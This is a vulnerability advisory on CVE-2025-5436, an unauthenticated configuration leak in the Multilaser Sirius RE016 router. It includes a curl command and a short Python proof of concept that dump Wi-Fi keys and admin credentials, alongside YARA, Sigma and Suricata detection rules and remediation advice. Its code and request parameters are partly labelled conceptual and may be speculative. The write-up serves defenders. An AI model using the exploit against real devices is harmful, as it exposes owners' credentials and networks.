CVE-2025-5436

Executive Summary

CVE-2025-5436 is a problematic information disclosure vulnerability affecting the Multilaser Sirius RE016 router (firmware version MLT1.0). The flaw resides in the /cgi-bin/cstecgi.cgi endpoint, which can be manipulated remotely to leak sensitive device data. No CVSS score has been assigned, but the public availability of an exploit and the vendor’s lack of response elevate the risk for unpatched devices. This vulnerability is particularly concerning for IoT/embedded environments where the router may be exposed to the internet.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in an embedded device (router). Supply chain risk is limited to the device’s firmware distribution channel; no software package ecosystem is affected.

CVSS Breakdown & Threat Level

• CVSS Score: 0.0 (Not officially assigned)
• Attack Vector (AV): Network (remote exploitation possible)
• Attack Complexity (AC): Low (no special conditions required)
• Privileges Required (PR): None (unauthenticated access)
• User Interaction (UI): None
• Scope (S): Unchanged
• Confidentiality (C): High (sensitive data exposed)
• Integrity (I): None
• Availability (A): None

Threat Level: High (due to public exploit, no patch, and remote unauthenticated access)

Deep Dive & Mechanics

The vulnerability is a classic information disclosure via a CGI endpoint. The /cgi-bin/cstecgi.cgi script on the Multilaser Sirius RE016 router does not properly validate or sanitize input parameters. By sending a crafted HTTP request to this endpoint, an attacker can trigger the script to return sensitive configuration data, such as:

• Wi-Fi SSID and pre-shared keys
• Administrative credentials (if stored in plaintext)
• Network topology information
• Device serial numbers and firmware version

The root cause is insufficient access control and input validation in the CGI handler. The script likely processes user-supplied parameters without authentication, allowing an attacker to enumerate internal state variables.

Vulnerable vs. Patched Code

Vulnerable Code (conceptual):

// cstecgi.cgi - vulnerable version
#include <stdio.h>
#include <string.h>

int main() {
    char *action = getenv("QUERY_STRING");
    // No authentication check
    if (strstr(action, "get_config")) {
        // Directly dumps config without sanitization
        dump_config();
    }
    return 0;
}

Patched Code (conceptual):

// cstecgi.cgi - patched version
#include <stdio.h>
#include <string.h>

int main() {
    char *action = getenv("QUERY_STRING");
    // Require authentication
    if (!authenticated()) {
        printf("Status: 401 Unauthorized\r\n");
        return 1;
    }
    if (strstr(action, "get_config")) {
        // Sanitize and limit output
        dump_safe_config();
    }
    return 0;
}

Note: No official patch exists. The above is a hypothetical fix.

Exploitation & Lab Setup

Red Team

Prerequisites:

• Multilaser Sirius RE016 router (firmware MLT1.0)
• Network access to the device (local or exposed WAN)
• Python3 or curl

Exploit Steps:

1. Identify the target router (e.g., via Shodan or local network scan).
2. Send a crafted GET request to the vulnerable endpoint:

   curl "http://<target_ip>/cgi-bin/cstecgi.cgi?action=get_config&type=all"
   

3. Parse the response for sensitive data (e.g., admin password, Wi-Fi keys).

Proof-of-Concept (Python):

import requests

target = "http://192.168.1.1"
payload = "/cgi-bin/cstecgi.cgi?action=get_config&type=all"
response = requests.get(target + payload)
print(response.text)

Blue Team

Detection:

• Monitor HTTP requests to /cgi-bin/cstecgi.cgi with unusual query parameters (e.g., action=get_config).
• Alert on unauthenticated access to CGI endpoints.
• Use network segmentation to isolate router management interfaces.

Hunting:

• Search logs for cstecgi.cgi with parameters like get_config, dump, or type=all.
• Correlate with external IPs attempting to access the router’s web interface.

Indicators of Compromise (IOCs)

• Network:
  • HTTP GET requests to /cgi-bin/cstecgi.cgi?action=get_config
  • Source IPs from known scanning services (Shodan, Censys)
• File:
  • Unauthorized access to /tmp/config.bak (if dumped)
• Behavioral:
  • Repeated 200 OK responses from the CGI endpoint without prior authentication

Detection Engineering

YARA Rule

rule CVE_2025_5436_InfoDisclosure {
    meta:
        description = "Detects exploitation attempts for CVE-2025-5436"
        author = "Valters IT"
        date = "2025-01-01"
    strings:
        $s1 = "/cgi-bin/cstecgi.cgi" ascii wide nocase
        $s2 = "get_config" ascii wide nocase
        $s3 = "type=all" ascii wide nocase
    condition:
        all of them
}

Sigma Rule

title: CVE-2025-5436 - Multilaser Router Information Disclosure
id: 12345678-1234-1234-1234-123456789abc
status: experimental
description: Detects HTTP requests targeting the vulnerable CGI endpoint
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains: '/cgi-bin/cstecgi.cgi'
        cs-uri-query|contains: 'get_config'
    condition: selection
falsepositives:
    - Legitimate admin access (rare)
level: high

Suricata Rule

alert http any any -> $HOME_NET any (
    msg:"CVE-2025-5436 - Multilaser Router Information Disclosure Attempt";
    flow:to_server,established;
    content:"/cgi-bin/cstecgi.cgi"; http_uri;
    content:"get_config"; http_uri;
    classtype:attempted-recon;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Isolate affected devices: Place the router behind a firewall and restrict WAN access to the management interface.
2. Disable remote management: If not required, disable the web interface from the WAN side.
3. Monitor logs: Actively watch for exploitation attempts using the provided detection rules.

Long-Term Fix:

• Vendor patch: No patch available. Consider replacing the device with a supported alternative.
• Firmware hardening: If possible, manually remove or restrict the CGI endpoint via custom firmware (e.g., OpenWrt).
• Network segmentation: Place IoT devices on a separate VLAN with strict egress filtering.

Workaround:

• Block HTTP requests to /cgi-bin/cstecgi.cgi at the network perimeter using a WAF or ACL.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert